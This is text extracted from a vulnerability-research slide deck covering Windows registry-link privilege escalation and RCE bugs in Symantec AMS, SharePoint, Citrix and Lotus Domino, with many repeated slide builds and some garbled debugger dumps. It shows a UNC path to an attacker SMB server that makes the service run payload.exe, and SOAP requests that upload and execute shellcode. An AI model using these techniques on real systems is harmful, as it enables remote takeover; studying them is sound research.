Entomology

: From the Greek Entomos - “that which is cut in pieces or engraved/segmented” hence “Insect”

: Logia – “Suffix denoting the study of something, or the branch of knowledge of a discipline.”

- Wikipedia
The Study of Insects
Windows Kernel Symbolic Link Creation Vulnerability

: CVE-2010-0237
: MS10-021
Windows Kernel Symbolic Link Creation Vulnerability

“An elevation of privilege vulnerability exists when the Windows kernel does not properly restrict symbolic link creation between untrusted and trusted registry hives. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.”

- MS10-021
Registry

- **Microsoft Windows Operating Systems**
- **Hierarchical Database**
- Stores configuration settings and options
- **Hives** = logical sections
- **Keys** = store subkeys or values
- **Values** = name/data pair
Technicals

- **Key**
  - **Type** = REG\_LINK
  - **SymbolicLinkValue** = String path of dest key
  - Same concept as Symlink in Unix file system
NT Native API

- Undocumented
- NtCreateKey with REG_OPTION_CREATE_LINK
- NtSetValueKey with REG_LINK

Tool

- NTInternals - REGLN
- http://www.ntinternals.net/regln
Windows Kernel Symbolic Link Creation Vulnerability

“An elevation of privilege vulnerability exists when the Windows kernel does not properly restrict symbolic link creation between untrusted and trusted registry hives. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.”

- MS10-021
Windows Kernel Symbolic Link Creation Vulnerability

“An elevation of privilege vulnerability exists when the Windows kernel does not properly restrict symbolic link creation between untrusted and trusted registry hives. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.”

- MS10-021
“An elevation of privilege vulnerability exists when the Windows kernel does not properly restrict symbolic link creation between untrusted and trusted registry hives. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.”

- MS10-021
Windows Kernel Symbolic Link Creation Vulnerability

“An elevation of privilege vulnerability exists when the Windows kernel does not properly restrict symbolic link creation between untrusted and trusted registry hives. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.”

- MS10-021
Windows Kernel Symbolic Link Creation Vulnerability

“An elevation of privilege vulnerability exists when the Windows kernel does not properly restrict symbolic link creation between untrusted and trusted registry hives. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.”

- MS10-021
“An elevation of privilege vulnerability exists when the Windows kernel does not properly restrict symbolic link creation between untrusted and trusted registry hives. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.”

- MS10-021
Appears to come from one place
<table>
<thead>
<tr>
<th>Registry Hives</th>
<th>Supporting Files</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKEY_LOCAL_MACHINE\SAM</td>
<td>Sam, Sam.log, Sam.sav</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\Software</td>
<td>Software, Software.log, Software.sav</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\System</td>
<td>System, System.alt, System.log, System.sav</td>
</tr>
<tr>
<td>HKEY_CURRENT_CONFIG</td>
<td>System, System.alt, System.log, System.sav</td>
</tr>
<tr>
<td>HKEY_CURRENT_USER</td>
<td>Ntuser.dat, Ntuser.dat.log</td>
</tr>
<tr>
<td>HKEY_USERS\DEFAULT</td>
<td>Default, Default.log, Default.sav</td>
</tr>
</tbody>
</table>

Actually made of multiple different files
Bug:
- No permission validation during link creation if dest key in different registry hive
- Dest key permissions only effective once read or write occurs
Attacker Create Link Same Hive

Controlled Key ➔ Target Key ➔

Attacker does not have permissions to access
**Attacker Create Link Same Hive**

Controlled Key ➡️ Target Key ➡️ DENIED

**Attacker Create Link Different Hive**

Controlled Key ➡️ Target Key ➡️  

**REG_LINK PERMISSIONS**

Controlled Key

Target Key

DENIED
Attacker Create Link Same Hive

Controlled Key ➔ Target Key ➔ DENIED

Attacker Create Link Different Hive

Controlled Key ➔ Target Key ➔ GRANTED

Attacker Write to Link Different Hive

Controlled Key ➔ Target Key ➔
**Attacker Create Link Same Hive**

Controlled Key → Target Key → **DENIED**

**Attacker Create Link Different Hive**

Controlled Key → Target Key → **GRANTED**

**Attacker Write to Link Different Hive**

Controlled Key → Target Key → **DENIED**

**High Privilege Write to Link**

Controlled Key → Target Key
**REG_LINK PERMISSIONS**

- **Controlled Key** → **Target Key**
  - **DENIED**

- **Controlled Key** → **Target Key**
  - **GRANTED**

- **Controlled Key** → **Target Key**
  - **DENIED**

- **Controlled Key** → **Target Key**
  - **GRANTED**
Winlogon.exe

- System Process
- Handles User login
- Sets user path to Shell Folders in Registry
**HKU\[User SID]\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\**

- **Shell Folders key controlled by low privilege attacker**
- **Populated with attacker controlled paths by Winlogon (high privilege process)**
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>(Default)</td>
<td>REG_SZ (value not set)</td>
</tr>
<tr>
<td>VMware Tools</td>
<td>REG_SZ &quot;C:\Program Files\VMware\VMware Tools\VMwareTray.exe&quot;</td>
</tr>
<tr>
<td>VMware User ...</td>
<td>REG_SZ &quot;C:\Program Files\VMware\VMware Tools\VMwareUser.exe&quot;</td>
</tr>
</tbody>
</table>
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

: Before

- (Default) REG_SZ (value not set)
- VMware Tools REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareTray.exe"
- VMware User ... REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareUser.exe"

: After

- Recent REG_SZ C:\Documents and Settings\joehaxor\Recent
- SendTo REG_SZ C:\Documents and Settings\joehaxor\SendTo
- Start Menu REG_SZ C:\Documents and Settings\joehaxor\Start Menu
- Startup REG_SZ C:\Documents and Settings\joehaxor\Start Menu\Programs\Startup
- Templates REG_SZ C:\Documents and Settings\joehaxor\Templates
- VMware Tools REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareTray.exe"
- VMware User Pro... REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareUser.exe"

: Populated by Winlogon with path’s of attacker Shell Folders
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- (Default) REG_SZ (value not set)
- VMware Tools REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareTray.exe"
- VMware User Tools REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareUser.exe"

Run C:\Documents and Settings\joehaxor\Recent
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- (Default) REG_SZ (value not set)
- VMware Tools REG_SZ "C:\Program Files\VMware\Tools\VMwareTray.exe"
- VMware User ... REG_SZ "C:\Program Files\VMware\Tools\VMwareUser.exe"

Run C:\Documents and Settings\joehaxor\Recent.exe

Run Recent.exe > Recent.bat > Recent.com > Recent
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- (Default) REG_SZ (value not set)
- VMware Tools REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareTray.exe"
- VMware User ... REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareUser.exe"

Run C:\Documents and Settings\joehaxor\Recent.bat

Run Recent.exe > Recent.bat > Recent.com > Recent
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

![Registry Entries](image)

Run `C:\Documents and Settings\joehaxor\Recent.com`

Run `Recent.exe > Recent.bat > Recent.com > Recent`
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- [Default] REG_SZ (value not set)
- VMware Tools REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareTray.exe"
- VMware User ... REG_SZ "C:\Program Files\VMware\VMware Tools\VMwareUser.exe"

Run C:\Documents and Settings\joehaxor\Recent
Run Recent.exe > Recent.bat > Recent.com > Recent

INSOMNIA
Run C:\Documents and Settings\joehaxor\Recent.bat
DEMO #1
Symantec -
AMS Intel Alert Handler Service CreateProcess RCE

: CVE-2010-0111
: ZDI-11-029
Symantec -
AMS Intel Alert Handler Service CreateProcess RCE

“This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Symantec Alert Management System. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the HDNLRsvc.EXE service while processing data sent from the msgsys.exe process which listens by default on TCP port 38292. This process passes user-supplied data directly to a CreateProcessA call. By supplying a UNC path to a controlled binary a remote attacker can execute arbitrary code under the context of the vulnerable daemon.”

- ZDI-11-029
Technicals:

- Symantec AntiVirus Corporate
- Alert Management System
- Msgsys.exe service tcp/38292
- AMSAdmin
Technical:

- Symantec AntiVirus Corporate
- Alert Management System
- Msgsys.exe service tcp/38292
- AMSAdmin → No authentication

DOUBLE FACEPALM

When the Fail is so strong, one Facepalm is not enough.

INSOMNIA
AMS Administration Utility

AMS Server selection
- Local AMS Server
- Remote AMS Server

Configure AMS
View AMS Log
Exit

Product Selection
Product: Symantec AntiVirus Corporate Edition

AMS Configuration - Symantec AntiVirus Corporate Edition
Alert actions:
- Symantec AntiVirus Corporate Edition
- Configuration Change
- Default Alert
- Disk Repair Failed
- Disk Repaired
- Scan Start/Stop
- Symantec AntiVirus Startup/Shutdown
- Virus Definition File Update
- Virus Found

Select Action
Actions:
- Broadcast
- Send Page
- Send Internet Mail
- Run Program
- Message Box
- Send SNMP Trap
- Load an NLM
- Write to Event Log

Run Program
Enter the path of the program relative to the selected option button, any appropriate command line arguments and the default initial window state.
Program:
Arguments:
Window state:
Normal Window
BOOL WINAPI CreateProcess(
    __in_opt    LPCTSTR lpApplicationName,
    __inout_opt LPSTR lpCommandLine,
    __in_opt    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    __in_opt    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    __in        BOOL bInheritHandles,
    __in        DWORD dwCreationFlags,
    __in_opt    LPVOID lpEnvironment,
    __in_opt    LPCTSTR lpCurrentDirectory,
    __in        LPPROCESS_INFORMATION lpStartupInfo,
    __out       LPPROCESS_INFORMATION lpProcessInformation
);

CALL to CreateProcessA from prgxhrdl.501A1163
ModuleFileName = NULL
CommandLine = "calc.exe  
processSecurity = NULL
pThreadSecurity = NULL
InheritHandles = FALSE
CreationFlags = CREATE_NEW_CONSOLE
CurrentDir = NULL
pStartupInfo = 014CF3C
pProcessInfo = 014CF2C
Universal Naming Convention

: \server\share\file_path

: \ip\share\file_path
Malicious SMB Server:

```
\192.168.4.1\share\payload.exe
```

**HDNLRSVC.EXE**

192.168.4.1
Malicious SMB Server

Target
Malicious SMB Server

\192.168.4.1\share\payload.exe

HDNLRSVC.EXE

192.168.4.1
Malicious SMB Server

Target
Malicious SMB Server: `\192.168.4.1\share\payload.exe`

**HDNLRSVC.EXE**

**192.168.4.1 Malicious SMB Server** → **Target**
Msgsys Service

“The specific flaw exists within the HDNLRSCVC.EXE service while processing data sent from the msgsys.exe process which listens by default on TCP port 38292”
Msgsys Service

“The specific flaw exists within the HDNLRSVC.EXE service while processing data sent from the msgsys.exe process which listens by default on TCP port 38292”

: udp/38037
Msgsys Service

"The specific flaw exists within the HDNLRSCVC.EXE service while processing data sent from the msgsys.exe process which listens by default on TCP port 38292"

- udp/38037
- Target broadcast IP > 255.255.255.0
Msgsys Service

- “The specific flaw exists within the HDNLRSVC.EXE service while processing data sent from the msgsys.exe process which listens by default on TCP port 38292”
- udp/38037
- Target broadcast IP > 255.255.255.0
DEMO #2
Microsoft SharePoint Server Arbitrary File Upload RCE

: CVE-2010-3964
: MS10-104
: ZDI-10-287
“A remote code execution vulnerability exists in the way that the Document Conversions Launcher Service validates SOAP requests before processing on a SharePoint server. An attacker who successfully exploited this vulnerability could run arbitrary code on an affected SharePoint server under the security context of a guest account.”

- MS10-104
Microsoft SharePoint Server Arbitrary File Upload RCE

“This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Sharepoint Server utilizing Microsoft's Office Document Load Balancer. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the Office Document Conversions Launcher service and occurs due to insufficient parameter validation on a particular SOAP request. Successful exploitation will allow an attacker to upload and execute an arbitrary file on the target server.

- ZDI-10-287
Keywords

- Document Conversions Load Balancer
- Document Conversions Launcher Service
- Malformed SOAP Request
- File Upload
- No Authentication required
Document Transforms Service Protocol

SharePoint Server
  <SOAP-ENV:Body>
      <launcherUri id="ref-3">http://contoso:12345/HtmlTrLauncher</launcherUri>
      <appExe id="ref-4">docxpageconverter.exe</appExe>
      <convertFrom id="ref-5">docx</convertFrom>
      <convertTo id="ref-6">html</convertTo>
      <fileBits href="#ref-7"/>
      <taskName id="ref-8">brochure_to_html</taskName>
      <configInfo id="ref-9"/>
      <timeout>20</timeout>
      <fReturnFileBits>true</fReturnFileBits>
    </i2:ConvertFile>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
ConvertFile Request

  <SOAP-ENV:Body>
      <launcherUri id="ref-3">http://contoso:12345/HtmlTrLauncher</launcherUri>
      <appExe id="ref-4">docxpageconverter.exe</appExe>
      <convertFrom id="ref-5">docx</convertFrom>
      <convertTo id="ref-6">html</convertTo>
      <fileBits href="#ref-7"/>
      <taskName id="ref-8">brochure_to_html</taskName>
      <configInfo id="ref-9"></configInfo>
      <timeout>20</timeout>
      <fReturnFileBits>true</fReturnFileBits>
    </i2:ConvertFile>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
ConvertFile Request

  <SOAP-ENV:Body>
      <launcherUri id="ref-3">http://contoso:12345/HtmlTrLauncher</launcherUri>
      <appExe id="ref-4">docxpageconverter.exe</appExe>
      <convertFrom id="ref-5">docx</convertFrom>
      <convertTo id="ref-6">html</convertTo>
      <fileBits href="#ref-7" />
      <taskName id="ref-8">brochure_to_html</taskName>
      <configInfo id="ref-9"></configInfo>
      <timeout>20</timeout>
      <fReturnFileBits>true</fReturnFileBits>
    </i2:ConvertFile>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Output File
ConvertFile Request

  <SOAP-ENV:Body>
      <launcherUri id="ref-3">http://contoso:12345/HtmlTrLauncher</launcherUri>
      <appExe id="ref-4">docxpageconverter.exe</appExe>
      <convertFrom id="ref-5">docx</convertFrom>
      <convertTo id="ref-6">html</convertTo>
      <fileBits href="#ref-7"/>
      <taskName id="ref-8">brochure_to_html</taskName>
      <configInfo id="ref-9"></configInfo>
      <timeout>20</timeout>
      <fReturnFileBits>true</fReturnFileBits>
    </i2:ConvertFile>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Converter to run
ConvertFile Request

 xmlns:xmlsoap="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns: ULONG4="http://schemas.xmlsoap.org/soap/encoding/clair/1.0"
 xmlns:soap-encoding="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Body>
    <i2:ConvertFile id="ref-1">
      <i2:ConvertFile id="ref-2">
        <i2:ConvertFile id="ref-3">
          <launcherUri id="ref-4">http://contoso:12345/HtmlTrLauncher</launcherUri>
          <appExe id="ref-5">docalpageconverter.exe</appExe>
          <convertFrom id="ref-6">docx</convertFrom>
          <convertTo id="ref-7">html</convertTo>
          <fileBits href="#ref-7"/>
          <taskId id="ref-8">brochure_to_html</taskId>
          <configInfo id="ref-9"/>
          <timeout>20</timeout>
          <fReturnFileBits>true</fReturnFileBits>
        </i2:ConvertFile>
      </i2:ConvertFile>
    </i2:ConvertFile>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Base64(Shellcode)
ConvertFile Request

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  <SOAP-ENV:Body>
    <i2:ConvertFile id="ref-1"
      <launcherUri id="ref-3">http://contoso.com:12345/HtmlTrLauncher</launcherUri>
      <appExe id="ref-4">docxpageconverter.exe</appExe>
      <convertFrom id="ref-5">docx</convertFrom>
      <convertTo id="ref-6">html</convertTo>
      <fileBits href="#ref-7"/>
      <taskName id="ref-8">brochure_to_html</taskName>
      <configInfo id="ref-9"></configInfo>
      <timeout>20</timeout>
      <fReturnFileBits>true</fReturnFileBits>
    </i2:ConvertFile>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Output File = payload.exe
ConvertFile Request

```xml
  <SOAP-ENV:Body>
    <i2:ConvertFile id="ref-1"
      <launcherUri id="ref-3">http://contoso:12345/HtmlTrLauncher</launcherUri>
      <appExe id="ref-4">docxpageconverter.exe</appExe>
      <convertFrom id="ref-5">docx</convertFrom>
      <convertTo id="ref-6">html</convertTo>
      <fileBits href="#ref-7"/>
      <taskName id="ref-8">brochure_to_html</taskName>
      <configInfo id="ref-9"></configInfo>
      <timeout>20</timeout>
      <fReturnFileBits>true</fReturnFileBits>
    </i2:ConvertFile>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Converter to Run = payload.exe
File Upload
Execution
YOU JUST GOT PWNED!
DEMO #3
Citrix Provisioning Services Stream Service RCE
: ZDI-12-009
"This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Citrix Provisioning Services. Authentication is not required to exploit this vulnerability.

The flaw exists within the streamprocess.exe component. This process listens on UDP port 6905. When handling a request type 0x40020000 the process uses the user supplied length in an attempted bounds check before copying to a local stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of SYSTEM."

- ZDI-12-009
Keywords:
- StreamProcess.exe
- Request Type 0x40020000
- Stack overflow
- UDP/6905
STREAM_PROCESS_OVERFLOW

CALL to recvfrom from ACMEFC.10001910

058BFBE4 10001910 Socket = 54
058BFBE8 00000054 Buffer = 05900020
058BFBC0 00000400 BufSize = 00400 <525312.>
058BFBD4 00000000 Flags = 0
058BFBE8 058BFEDC pFrom = 058BFEDC
058BFBD0 058BFEC pFromLen = 058BFEC0
STREAMPROCESS OVERFLOW #2

CALL to recvfrom from ACEMFC.10001910
Socket = 54
Buffer = 059C0020
BufSize = 000000 (525312.)
Flags = 0
pFrom = 058BFE9C
pFromLen = 058FC3C

CMP DWORD PTR DS:[EAX], 40020000
JNZ 057B2D6D
PUSH 100
058BFBE4 10001916 CALL to recvfrom from ACEMFC.10001910
058BFBE8 00000854 Socket = 54
058BFBEc 059C0020 Buffer = 059C0020
058BFBE8 00080000 BufSize = 00000000 (<835210.)
058BFBE4 00000000 Flags = 0
058BFBE8 058BFBE9C pFrom = 058BFBE9C
058BFBE8 058BFBE3C pFromLen = 058BFBE3C

058BFBE4 10001916 CALL to recvfrom from ACEMFC.10001910
058BFBE8 00000854 Socket = 54
058BFBEc 059C0020 Buffer = 059C0020
058BFBE8 00080000 BufSize = 00000000 (<835210.)
058BFBE4 00000000 Flags = 0
058BFBE8 058BFBE9C pFrom = 058BFBE9C
058BFBE8 058BFBE3C pFromLen = 058BFBE3C

: 4 →

INSOMNIA
Generic stack memory corruption. Why is this interesting?
**http://live.sysinternals.com/procexp.exe**

Something isn't right here.
DEP disabled by application – no bypass required
DEMO #4
IBM Lotus Domino OSLoadProgramExt RCE

: 0DAY
IBM Lotus Domino OSLoadProgramExt RCE

“IBM Lotus Domino 8.5.2 FP3 ships with multiple binaries that perform pre-defined tasks on the server. A remote code execution vulnerability exists in the way the nSERVER component handles these requests after they are passed from the nHTTP Web Server. Neither component performs any validation and user-supplied input is passed directly to a CreateProcessA call.

This vulnerability allow remote code execution under the context of SYSTEM. Authentication is required to log in to the webadmin.nsf interface.”
Process Monitor

- Real-time file system, registry & process / thread monitoring
- Allows filtering by operation
- Useful for finding insecure CreateProcess / Shell Execute calls
- http://live.sysinternals.com/Procmon.exe
DEMO #5
Proxocket

- ‘DLL Packet Capture Proxy’
- By Luigi Auriemma
- Place ws2_32.dll / wsock32.dll in app directory
- Data sent or received via Winsock functions dumped to .cap files
- Allows packet capture over local loopback
- http://aluigi.altervista.org/mytoolz/proxocket.zip
### USEFUL TOOLS

**Proxocket**

#### C:\Program Files\Microsoft Office Servers\12.0\Bin

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>1033</td>
<td></td>
<td>File Folder</td>
</tr>
<tr>
<td>Analytics</td>
<td></td>
<td>File Folder</td>
</tr>
<tr>
<td>BusinessDataCatalog</td>
<td></td>
<td>File Folder</td>
</tr>
<tr>
<td>/htmlLauncher</td>
<td></td>
<td>File Folder</td>
</tr>
<tr>
<td>Microsoft.Office.Server.Conversions.Launcher.exe</td>
<td>91 KB</td>
<td>Application</td>
</tr>
<tr>
<td>mssearch.exe</td>
<td>153 KB</td>
<td>Application</td>
</tr>
<tr>
<td>PdValidator.exe</td>
<td>31 KB</td>
<td>Application</td>
</tr>
<tr>
<td>DBGHELP.DLL</td>
<td>1,026 KB</td>
<td>Application Extension</td>
</tr>
<tr>
<td>Microsoft.Office.Server.Native.dll</td>
<td>492 KB</td>
<td>Application Extension</td>
</tr>
<tr>
<td>msarch.dll</td>
<td>2,013 KB</td>
<td>Application Extension</td>
</tr>
<tr>
<td>naturallanguage6.dll</td>
<td>2,656 KB</td>
<td>Application Extension</td>
</tr>
<tr>
<td>tquery.dll</td>
<td>2,301 KB</td>
<td>Application Extension</td>
</tr>
<tr>
<td>bblr.dll</td>
<td>774 KB</td>
<td>Application Extension</td>
</tr>
<tr>
<td>ws2_32.dll</td>
<td>61 KB</td>
<td>Application Extension</td>
</tr>
</tbody>
</table>